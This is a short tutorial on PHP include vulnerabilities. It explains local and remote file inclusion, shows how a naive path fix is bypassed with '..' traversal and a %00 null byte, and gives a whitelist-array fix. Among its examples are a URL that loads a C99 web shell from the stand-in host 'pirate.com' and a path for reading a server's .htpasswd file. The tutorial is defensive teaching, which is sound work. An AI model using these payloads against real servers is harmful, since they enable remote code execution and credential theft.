Today, we will explore the include exploit with PHP. We will see how it allows accessing files on the web server and how it allows executing distant scripts. Finally, we’ll see how it is possible for developers to get rid of this problem.
What is the include exploit?
In PHP, there is a function that can be used to include an entire page to the actual one. It is surprisingly named “include”. Wrongly used, it can be really harmful because it allows external code execution which can result in a lot of unpleasant things such as an attacker getting some private files on the server.
How does it work?
Let’s say we have a website where all the content is load through the file index.php. This file receives as parameter the name of the page we want to load thanks to a GET variable. We could, for example, have the following URL to access a list of blog articles:
In our index.php, we will have a call to the method include (more explanations about it here) that will be done without any check on the variable page. The file articles.php will be in the same directory than index.php.
This is where the problem occurs. The developer decided to put the real file name in the variable and since there are no checks done, it is possible to access any file the webserver has access to or any file on the internet. For example, if there is an .htpasswd in
/var/security/.htpasswd, we just have to load the page
The second thing that could be done is calling some scripts on the internet. An attacker could for example load a shell (like the famous C99) on the server and do whatever he wants. He would just have to call the page
www.mywebsite.com/index.php?page=http://pirate.com/c99.php and c99.php will be executed.
How to prevent that?
There is of course a way to fix that, but let’s see a bad way to do so before seeing it.
How to badly prevent that?
If you thought “I might just put some of the path hard coded on the include and combine it with the GET variable”, you are wrong. Implementing this solution could be something like
include(‘/pages/’ . $_GET[‘page’] ‘.php’);.
This is effective against distant code inclusion but that’s pretty all. It is still possible to access any file on the server with ease. First, we can get rid of the limitation on the pages directory simply by using
.. to get to the parent directory. Then, the
.php is useless as well. Since PHP is executed with the C language, adding
%00 allows to put a null byte at the end of the string; which will result in having the
.php not processed. So, if we want to access our previous
.htpasswd file, we could just use the following path:
An example of good fix
On of the possibilities to prevent this exploit is to create an array where we match a key and the path of the file. It could be something like that:
$coresp = array( 'home' => 'home.php', 'comments' => 'comments.php' ); $to_include = isset($_GET['page']) && array_key_exists($_GET['page'], $coresp) ? $coresp[$_GET['page']] : 'home.php'; include($to_include);
In this example, we will give the keys as GET argument. For example,
www.mywebsite.com/index.php?page=home to access the home page. Then, we check if the key exists in our array. If it does, we take the value associated with the key and if it does not, we simply load the home page. Since the value given in the GET variable is never given to the include function, we are safe.
Configure PHP to limit the risks
Finally, we can change the value of the variable
allow_url_include in the php configuration. As the name says, it will prevent anyone to load distant content using the include function. However, this is not enough since it does no prevent to access local files.